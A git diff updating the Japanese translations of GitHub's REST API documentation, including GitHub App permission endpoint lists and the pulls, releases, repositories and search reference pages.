 - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write)
 - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write)
@@ -766,7 +766,7 @@ _Labels_
 - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write)
 - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write)
 
-_Milestones_
+_マイルストーン_
 - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read)
 - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read)
@@ -774,7 +774,7 @@ _Milestones_
 - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read)
 
-_Reactions_
+_リアクション_
 - [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (:write)
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
@@ -792,12 +792,12 @@ _Reactions_
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write)
 {% endif %}
 
-_Requested reviewers_
+_リクエストされたレビュー担当者_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (:write)
 - [`DELETE /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (:write)
 
-_Reviews_
+_レビュー_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (:write)
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#get-a-review-for-a-pull-request) (:read)
@@ -806,11 +806,11 @@ _Reviews_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (:read)
 - [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (:write)
 
-### Permission on "profile"
+### "profile"に対する権限
 
 - [`PATCH /user`](/rest/reference/users#update-the-authenticated-user) (:write)
 
-### Permission on "repository hooks"
+### "repository hooks"に対する権限
 
 - [`GET /repos/:owner/:repo/hooks`](/rest/reference/webhooks#list-repository-webhooks) (:read)
 - [`POST /repos/:owner/:repo/hooks`](/rest/reference/webhooks#create-a-repository-webhook) (:write)
@@ -821,7 +821,7 @@ _Reviews_
 - [`POST /repos/:owner/:repo/hooks/:hook_id/tests`](/rest/reference/repos#test-the-push-repository-webhook) (:read)
 
 {% ifversion ghes %}
-### Permission on "repository pre receive hooks"
+### "repository pre receive hooks"に対する権限
 
 - [`GET /repos/:owner/:repo/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) (:read)
@@ -829,7 +829,7 @@ _Reviews_
 - [`DELETE /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) (:write)
 {% endif %}
 
-### Permission on "repository projects"
+### "repository projects"に対する権限
 
 - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read)
 - [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (:write)
@@ -850,11 +850,11 @@ _Reviews_
 - [`GET /repos/:owner/:repo/projects`](/rest/reference/projects#list-repository-projects) (:read)
 - [`POST /repos/:owner/:repo/projects`](/rest/reference/projects#create-a-repository-project) (:write)
 
-_Teams_
+_Team_
 - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read)
 
 {% ifversion fpt or ghec %}
-### Permission on "secrets"
+### "secrets"に対する権限
 
 - [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (:read)
 - [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (:read)
@@ -872,8 +872,26 @@ _Teams_
 - [`DELETE /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#delete-an-organization-secret) (:write)
 {% endif %}
 
+{% ifversion fpt or ghec or ghes > 3.3%}
+### Permission on "dependabot_secrets"
+- [`GET /repos/:owner/:repo/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-a-repository-secret) (:read)
+- [`PUT /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-a-repository-secret) (:write)
+- [`DELETE /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-a-repository-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) (:read)
+- [`GET /orgs/:org/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) (:read)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-an-organization-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) (:write)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#add-selected-repository-to-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-an-organization-secret) (:write)
+{% endif %}
+
 {% ifversion fpt or ghes > 3.0 or ghec %}
-### Permission on "secret scanning alerts"
+### "secret scanning alerts"に対する権限
 
 - [`GET /repos/:owner/:repo/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (:read)
@@ -881,7 +899,7 @@ _Teams_
 - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) (:read)
 {% endif %}
 
-### Permission on "security events"
+### "security events"に対する権限
 
 - [`GET /repos/:owner/:repo/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#get-a-code-scanning-alert) (:read)
@@ -902,7 +920,7 @@ _Teams_
 {% endif -%}
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "self-hosted runners"
+### "self-hosted runners"に対する権限
 - [`GET /orgs/:org/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (:read)
 - [`POST /orgs/:org/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (:write)
 - [`GET /orgs/:org/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (:read)
@@ -916,25 +934,25 @@ _Teams_
 - [`DELETE /orgs/:org/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "single file"
+### "single file"に対する権限
 
 - [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (:read)
 - [`PUT /repos/:owner/:repo/contents/:path`](/rest/reference/repos#create-or-update-file-contents) (:write)
 - [`DELETE /repos/:owner/:repo/contents/:path`](/rest/reference/repos#delete-a-file) (:write)
 
-### Permission on "starring"
+### "starring"に対する権限
 
 - [`GET /user/starred/:owner/:repo`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (:read)
 - [`PUT /user/starred/:owner/:repo`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (:write)
 - [`DELETE /user/starred/:owner/:repo`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (:write)
 
-### Permission on "statuses"
+### "statuses"に対する権限
 
 - [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) (:read)
 - [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/commits#list-commit-statuses-for-a-reference) (:read)
 - [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/commits#create-a-commit-status) (:write)
 
-### Permission on "team discussions"
+### "team discussions"に対する権限
 
 - [`GET /teams/:team_id/discussions`](/rest/reference/teams#list-discussions) (:read)
 - [`POST /teams/:team_id/discussions`](/rest/reference/teams#create-a-discussion) (:write)
diff --git a/translations/ja-JP/content/rest/reference/pulls.md b/translations/ja-JP/content/rest/reference/pulls.md
index d8b22a8117..439647eeda 100644
--- a/translations/ja-JP/content/rest/reference/pulls.md
+++ b/translations/ja-JP/content/rest/reference/pulls.md
@@ -1,6 +1,6 @@
 ---
 title: Pulls
-intro: 'The Pulls API allows you to list, view, edit, create, and even merge pull requests.'
+intro: Pulls APIを使うと、Pull Requestのリスト、表示、編集、作成、さらにはマージまでも行えます。
 redirect_from:
   - /v3/pulls
 versions:
@@ -13,13 +13,13 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The Pull Request API allows you to list, view, edit, create, and even merge pull requests. Comments on pull requests can be managed via the [Issue Comments API](/rest/reference/issues#comments).
+Pull Request API を使用すると、Pull Requestを一覧表示、編集、作成、マージできます。 Pull Requestのコメントは、[Issue Comments API](/rest/reference/issues#comments) で管理できます。
 
-Every pull request is an issue, but not every issue is a pull request. For this reason, "shared" actions for both features, like manipulating assignees, labels and milestones, are provided within [the Issues API](/rest/reference/issues).
+すべてのPull Requestは Issue ですが、すべての Issue がPull Requestというわけではありません。 このため、アサインされた人、ラベル、マイルストーンなどの操作といった、両方の機能で共通するアクションは、[Issues API](/rest/reference/issues) で提供されます。
 
-### Custom media types for pull requests
+### Pull Requestのカスタムメディアタイプ
 
-These are the supported media types for pull requests.
+以下がPull Requestでサポートされているメディアタイプです。
 
     application/vnd.github.VERSION.raw+json
     application/vnd.github.VERSION.text+json
@@ -28,60 +28,59 @@ These are the supported media types for pull requests.
     application/vnd.github.VERSION.diff
     application/vnd.github.VERSION.patch
 
-For more information, see "[Custom media types](/rest/overview/media-types)."
+詳しい情報については、「[カスタムメディアタイプ](/rest/overview/media-types)」を参照してください。
 
-If a diff is corrupt, contact {% data variables.contact.contact_support %}. Include the repository name and pull request ID in your message.
+diff が破損している場合は、{% data variables.contact.contact_support %} にお問い合わせください。 メッセージにはリポジトリ名とPull Request ID を記載してください。
 
-### Link Relations
+### リンク関係
 
-Pull Requests have these possible link relations:
+Pull Requestには以下のリンク関係が含まれる可能性があります。
 
-Name | Description
------|-----------|
-`self`| The API location of this Pull Request.
-`html`| The HTML location of this Pull Request.
-`issue`| The API location of this Pull Request's [Issue](/rest/reference/issues).
-`comments`| The API location of this Pull Request's [Issue comments](/rest/reference/issues#comments).
-`review_comments`| The API location of this Pull Request's [Review comments](/rest/reference/pulls#comments).
-`review_comment`| The [URL template](/rest#hypermedia) to construct the API location for a [Review comment](/rest/reference/pulls#comments) in this Pull Request's repository.
-`commits`|The API location of this Pull Request's [commits](#list-commits-on-a-pull-request).
-`statuses`| The API location of this Pull Request's [commit statuses](/rest/reference/repos#statuses), which are the statuses of its `head` branch.
+| 名前                | 説明                                                                                                                |
+| ----------------- | ----------------------------------------------------------------------------------------------------------------- |
+| `self`            | Pull Requestの API ロケーション。                                                                                         |
+| `html`            | Pull Requestの HTML ロケーション。                                                                                        |
+| `Issue`           | Pull Requestの [Issue](/rest/reference/issues) の API ロケーション。                                                       |
+| `コメント`            | Pull Requestの [Issue コメント](/rest/reference/issues#comments) の API ロケーション。                                         |
+| `review_comments` | Pull Requestの [レビューコメント](/rest/reference/pulls#comments) の API ロケーション。                                            |
+| `review_comment`  | Pull Requestのリポジトリで、[レビューコメント](/rest/reference/pulls#comments)の API ロケーションを構築するための[URL テンプレート](/rest#hypermedia)。 |
+| `commits`         | Pull Requestの [コミット](#list-commits-on-a-pull-request) の API ロケーション。                                               |
+| `statuses`        | Pull Requestの[コミットステータス](/rest/reference/repos#statuses)、すなわち`head` ブランチのステータスの API ロケーション。                       |
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Reviews
+## レビュー
 
-Pull Request Reviews are groups of Pull Request Review Comments on the Pull
-Request, grouped together with a state and optional body comment.
+Pull Requestレビューは、Pull Request上のPull Requestレビューコメントのグループで、状態とオプションの本文コメントでグループ化されています。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'reviews' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Review comments
+## レビューコメント
 
-Pull request review comments are comments on a portion of the unified diff made during a pull request review. Commit comments and issue comments are different from pull request review comments. You apply commit comments directly to a commit and you apply issue comments without referencing a portion of the unified diff. For more information, see "[Create a commit comment](/rest/reference/commits#create-a-commit-comment)" and "[Create an issue comment](/rest/reference/issues#create-an-issue-comment)."
+Pull Requestレビューコメントは、Pull Requestのレビュー中に unified 形式の diff の一部に付けられたコメントです。 コミットコメントおよび Issue コメントは、Pull Requestレビューコメントとは異なります。 コミットコメントはコミットに直接付けるもので、Issue コメントは、unified 形式の diff の一部を参照することなく付けるものです。 詳しい情報については、「[コミットコメントの作成](/rest/reference/commits#create-a-commit-comment)」および「[Issue コメントの作成](/rest/reference/issues#create-an-issue-comment)」を参照してください。
 
-### Custom media types for pull request review comments
+### Pull Requestレビューコメントのカスタムメディアタイプ
 
-These are the supported media types for pull request review comments.
+以下がPull Requestレビューコメントでサポートされているメディアタイプです。
 
     application/vnd.github.VERSION.raw+json
     application/vnd.github.VERSION.text+json
     application/vnd.github.VERSION.html+json
     application/vnd.github.VERSION.full+json
 
-For more information, see "[Custom media types](/rest/overview/media-types)."
+詳しい情報については、「[カスタムメディアタイプ](/rest/overview/media-types)」を参照してください。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Review requests
+## レビューリクエスト
 
-Pull request authors and repository owners and collaborators can request a pull request review from anyone with write access to the repository. Each requested reviewer will receive a notification asking them to review the pull request.
+Pull Requestの作者、リポジトリのオーナー、およびコラボレータは、リポジトリの書き込みアクセスを持つ人にPull Requestレビューをリクエストできます。 リクエストされたレビュー担当者は、Pull Requestレビューをするようあなたが依頼したという通知を受け取ります。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'review-requests' %}{% include rest_operation %}{% endif %}
diff --git a/translations/ja-JP/content/rest/reference/releases.md b/translations/ja-JP/content/rest/reference/releases.md
index a434451bea..5dd4437d74 100644
--- a/translations/ja-JP/content/rest/reference/releases.md
+++ b/translations/ja-JP/content/rest/reference/releases.md
@@ -1,5 +1,5 @@
 ---
-title: Releases
+title: リリース
 intro: 'The releases API allows you to create, modify, and delete releases and release assets.'
 allowTitleToDifferFromFilename: true
 versions:
@@ -14,10 +14,16 @@ miniTocMaxHeadingLevel: 3
 
 {% note %}
 
-**Note:** The Releases API replaces the Downloads API. You can retrieve the download count and browser download URL from the endpoints in this API that return releases and release assets.
+**注釈:** Releases API は Downloads API を置き換えるものです。 リリースを返し、アセットをリリースする、この API のエンドポイントからダウンロード数と ブラウザのダウンロード URL を取得できます。
 
 {% endnote %}
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'releases' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Release assets
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'assets' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/ja-JP/content/rest/reference/repos.md b/translations/ja-JP/content/rest/reference/repos.md
index 89a55881b8..290ecafc75 100644
--- a/translations/ja-JP/content/rest/reference/repos.md
+++ b/translations/ja-JP/content/rest/reference/repos.md
@@ -1,5 +1,5 @@
 ---
-title: Repositories
+title: リポジトリ
 intro: 'The Repos API allows to create, manage and control the workflow of public and private {% data variables.product.product_name %} repositories.'
 allowTitleToDifferFromFilename: true
 redirect_from:
@@ -21,7 +21,7 @@ miniTocMaxHeadingLevel: 3
 {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4742 %}
 ## Autolinks
 
-To help streamline your workflow, you can use the API to add autolinks to external resources like JIRA issues and Zendesk tickets. For more information, see "[Configuring autolinks to reference external resources](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)."
+To help streamline your workflow, you can use the API to add autolinks to external resources like JIRA issues and Zendesk tickets. 詳しい情報については「[外部リソースを参照する自動リンクの設定](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)」を参照してください。
 
 {% data variables.product.prodname_github_apps %} require repository administration permissions with read or write access to use the Autolinks API.
 
@@ -31,35 +31,34 @@ To help streamline your workflow, you can use the API to add autolinks to extern
 {% endif %}
 
 
-## Contents
+## コンテンツ
 
-These API endpoints let you create, modify, and delete Base64 encoded content in a repository. To request the raw format or rendered HTML (when supported), use custom media types for repository contents.
+これらの API エンドポイントを使用すると、リポジトリ内の Base64 でエンコードされたコンテンツを作成、変更、削除できます。 Raw 形式またはレンダリングされた HTML (サポートされている場合) をリクエストするには、リポジトリのコンテンツにカスタムメディアタイプを使用します。
 
-### Custom media types for repository contents
+### リポジトリコンテンツのカスタムメディアタイプ
 
-[READMEs](/rest/reference/repos#get-a-repository-readme), [files](/rest/reference/repos#get-repository-content), and [symlinks](/rest/reference/repos#get-repository-content) support the following custom media types:
+[README](/rest/reference/repos#get-a-repository-readme)、[ファイル](/rest/reference/repos#get-repository-content)、[シンボリックリンク](/rest/reference/repos#get-repository-content)は以下のカスタムメディアタイプをサポートしています。
 
     application/vnd.github.VERSION.raw
     application/vnd.github.VERSION.html
 
-Use the `.raw` media type to retrieve the contents of the file.
+ファイルのコンテンツを取得するには、`.raw` メディアタイプを使ってください。
 
-For markup files such as Markdown or AsciiDoc, you can retrieve the rendered HTML using the `.html` media type. Markup languages are rendered to HTML using our open-source [Markup library](https://github.com/github/markup).
+Markdown や AsciiDoc などのマークアップファイルでは、`.html` メディアタイプを使用して、レンダリングされた HTML を取得できます。 マークアップ言語は、オープンソースの[マークアップライブラリ](https://github.com/github/markup)を使用して HTML にレンダリングされます。
 
-[All objects](/rest/reference/repos#get-repository-content) support the following custom media type:
+[すべてのオブジェクト](/rest/reference/repos#get-repository-content)は、以下のカスタムメディアタイプをサポートしています。
 
     application/vnd.github.VERSION.object
 
-Use the `object` media type parameter to retrieve the contents in a consistent object format regardless of the content type. For example, instead of an array of objects
-for a directory, the response will be an object with an `entries` attribute containing the array of objects.
+コンテンツのタイプに関係なく、一貫したオブジェクトフォーマットを取得するには、`object` メディアタイプパラメータを使用します。 たとえば、レスポンスはディレクトリに対するオブジェクトの配列ではなく、オブジェクトの配列を含む `entries` 属性のオブジェクトになります。
 
-You can read more about the use of media types in the API [here](/rest/overview/media-types).
+API でのメディアタイプの使用について詳しくは、[こちら](/rest/overview/media-types)をご覧ください。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'contents' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Forks
+## フォーク
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'forks' %}{% include rest_operation %}{% endif %}
diff --git a/translations/ja-JP/content/rest/reference/repository-metrics.md b/translations/ja-JP/content/rest/reference/repository-metrics.md
deleted file mode 100644
index aea394d6e0..0000000000
--- a/translations/ja-JP/content/rest/reference/repository-metrics.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Repository metrics
-intro: 'The repository metrics API allows you to retrieve community profile, statistics, and traffic for your repository.'
-allowTitleToDifferFromFilename: true
-versions:
-  fpt: '*'
-  ghes: '*'
-  ghae: '*'
-  ghec: '*'
-topics:
-  - API
-miniTocMaxHeadingLevel: 3
----
-
-{% ifversion fpt or ghec %}
-## Community
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% endif %}
-
-## Statistics
-
-The Repository Statistics API allows you to fetch the data that {% data variables.product.product_name %} uses for visualizing different
-types of repository activity.
-
-### A word about caching
-
-Computing repository statistics is an expensive operation, so we try to return cached
-data whenever possible.  If the data hasn't been cached when you query a repository's
-statistics, you'll receive a `202` response; a background job is also fired to
-start compiling these statistics. Give the job a few moments to complete, and
-then submit the request again. If the job has completed, that request will receive a
-`200` response with the statistics in the response body.
-
-Repository statistics are cached by the SHA of the repository's default branch; pushing to the default branch resets the statistics cache.
-
-### Statistics exclude some types of commits
-
-The statistics exposed by the API match the statistics shown by [different repository graphs](/github/visualizing-repository-data-with-graphs/about-repository-graphs).
-
-To summarize:
-- All statistics exclude merge commits.
-- Contributor statistics also exclude empty commits.
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% ifversion fpt or ghec %}
-## Traffic
-
-For repositories that you have push access to, the traffic API provides access
-to the information provided in your repository graph. For more information, see "<a href="/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository" class="dotcom-only">Viewing traffic to a repository</a>."
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-{% endif %}
\ No newline at end of file
diff --git a/translations/ja-JP/content/rest/reference/search.md b/translations/ja-JP/content/rest/reference/search.md
index 19f0a12d45..f5c6d3d855 100644
--- a/translations/ja-JP/content/rest/reference/search.md
+++ b/translations/ja-JP/content/rest/reference/search.md
@@ -1,6 +1,6 @@
 ---
-title: Search
-intro: 'The {% data variables.product.product_name %} Search API lets you to search for the specific item efficiently.'
+title: 検索
+intro: '{% data variables.product.product_name %} Search APIを使うと、特定のアイテムを効率的に検索できます。'
 redirect_from:
   - /v3/search
 versions:
@@ -13,125 +13,109 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The Search API helps you search for the specific item you want to find. For example, you can find a user or a specific file in a repository. Think of it the way you think of performing a search on Google. It's designed to help you find the one result you're looking for (or maybe the few results you're looking for). Just like searching on Google, you sometimes want to see a few pages of search results so that you can find the item that best meets your needs. To satisfy that need, the {% data variables.product.product_name %} Search API provides **up to 1,000 results for each search**.
+Search API は、見つけたい特定の項目を検索するために役立ちます。 たとえば、リポジトリ内のユーザや特定のファイルを見つけることができます。 Google で検索を実行するのと同じように考えてください。 Search API は、探している 1 つの結果 (または探しているいくつかの結果) を見つけるために役立つよう設計されています。 Google で検索する場合と同じように、ニーズに最も合う項目を見つけるため、検索結果を数ページ表示したい場合もあるでしょう。 こうしたニーズを満たすため、{% data variables.product.product_name %} Search API では**各検索につき 最大 1,000 件の結果**を提供します。
 
-You can narrow your search using queries. To learn more about the search query syntax, see "[Constructing a search query](/rest/reference/search#constructing-a-search-query)."
+クエリを使って、検索を絞り込めます。 検索クエリ構文の詳細については、「[検索クエリの構築](/rest/reference/search#constructing-a-search-query)」を参照してください。
 
-### Ranking search results
+### 検索結果を順番づける
 
-Unless another sort option is provided as a query parameter, results are sorted by best match in descending order. Multiple factors are combined to boost the most relevant item to the top of the result list.
+クエリパラメータとして別のソートオプションが指定されない限り、結果は最も一致するものから降順にソートされます。 最も関連性の高い項目を検索結果の最上位に押し上げるように、複数の要素が組み合わされます。
 
-### Rate limit
+### レート制限
 
-The Search API has a custom rate limit. For requests using [Basic
-Authentication](/rest#authentication), [OAuth](/rest#authentication), or [client
-ID and secret](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), you can make up to
-30 requests per minute. For unauthenticated requests, the rate limit allows you
-to make up to 10 requests per minute.
+Search API にはカスタムレート制限があります。 リクエストに[基本認証](/rest#authentication)、[OAuth](/rest#authentication)、または[クライアント ID とシークレット](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications)を使用する場合は、1 分間に最大 30 件のリクエストが行えます。 認証されていないリクエストでは、レート制限により 1 分間あたり最大 10 件のリクエストが行えます。
 
 {% data reusables.enterprise.rate_limit %}
 
-See the [rate limit documentation](/rest/reference/rate-limit) for details on
-determining your current rate limit status.
+現在のレート制限状態を確認する方法の詳細については、[レート制限ドキュメンテーション](/rest/reference/rate-limit)を参照してください。
 
-### Constructing a search query
+### 検索クエリの構築
 
-Each endpoint in the Search API uses [query parameters](https://en.wikipedia.org/wiki/Query_string) to perform searches on {% data variables.product.product_name %}. See the individual endpoint in the Search API for an example that includes the endpoint and query parameters.
+Search API の各エンドポイントでは、{% data variables.product.product_name %} で検索を行うために[クエリパラメータ](https://en.wikipedia.org/wiki/Query_string)を使用します。 エンドポイントとクエリパラメータを含める例については、Search API の個々のエンドポイントを参照してください。
 
-A query can contain any combination of search qualifiers supported on {% data variables.product.product_name %}. The format of the search query is:
+クエリには、{% data variables.product.product_name %} でサポートされている検索修飾子を任意に組み合わせて使用できます。 検索クエリの形式は次のとおりです。
 
 ```
 SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N
 ```
 
-For example, if you wanted to search for all _repositories_ owned by `defunkt` that
-contained the word `GitHub` and `Octocat` in the README file, you would use the
-following query with the _search repositories_ endpoint:
+たとえば、README ファイルに `GitHub` と `Octocat` という言葉が含まれている、`defunkt` が所有する_リポジトリ_をすべて検索する場合、_検索リポジトリ_エンドポイントに次のクエリを使用します。
 
 ```
 GitHub Octocat in:readme user:defunkt
 ```
 
-**Note:** Be sure to use your language's preferred HTML-encoder to construct your query strings. For example:
+**ノート:** クエリ文字列の構築には、使用する言語の優先 HTML エンコーダを必ず使用してしてください。 例:
 ```javascript
 // JavaScript
 const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt');
 ```
 
-See "[Searching on GitHub](/search-github/searching-on-github)"
-for a complete list of available qualifiers, their format, and an example of
-how to use them. For information about how to use operators to match specific
-quantities, dates, or to exclude results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)."
+See "[Searching on GitHub](/search-github/searching-on-github)" for a complete list of available qualifiers, their format, and an example of how to use them. For information about how to use operators to match specific quantities, dates, or to exclude results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)."
 
-### Limitations on query length
+### クエリの長さの制限
 
-The Search API does not support queries that:
-- are longer than 256 characters (not including operators or qualifiers).
-- have more than five `AND`, `OR`, or `NOT` operators.
+Search API は、以下のクエリをサポートしていません。
+- 256 文字超 (演算子や修飾子は除く)。
+- `AND`、`OR`、`NOT` の演算子が 6 つ以上ある。
 
-These search queries will return a "Validation failed" error message.
+こうした検索クエリを使用すると、「Validation failed」というエラーメッセージが返されます。
 
-### Timeouts and incomplete results
+### タイムアウトと不完全な結果
 
-To keep the Search API fast for everyone, we limit how long any individual query
-can run. For queries that [exceed the time limit](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/),
-the API returns the matches that were already found prior to the timeout, and
-the response has the `incomplete_results` property set to `true`.
+皆さんが Search API を迅速に使用できるよう、個別のクエリを実行する時間について制限を設けています。 [時間制限を超えた](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/)クエリに対しては、API はタイムアウト前に見つかった一致を返し、レスポンスの `incomplete_results` プロパティが `true` に設定されます。
 
-Reaching a timeout does not necessarily mean that search results are incomplete.
-More results might have been found, but also might not.
+タイムアウトになったことは、必ずしも検索結果が未完了であるということではありません。 もっと多くの検索結果が出たかもしれませんし、出ていないかもしれません。
 
-### Access errors or missing search results
+### アクセスエラーまたは検索結果の欠落
 
-You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. For example, your search will fail if your query includes `repo:`, `user:`, or `org:` qualifiers that request resources that you don't have access to when you sign in on {% data variables.product.prodname_dotcom %}.
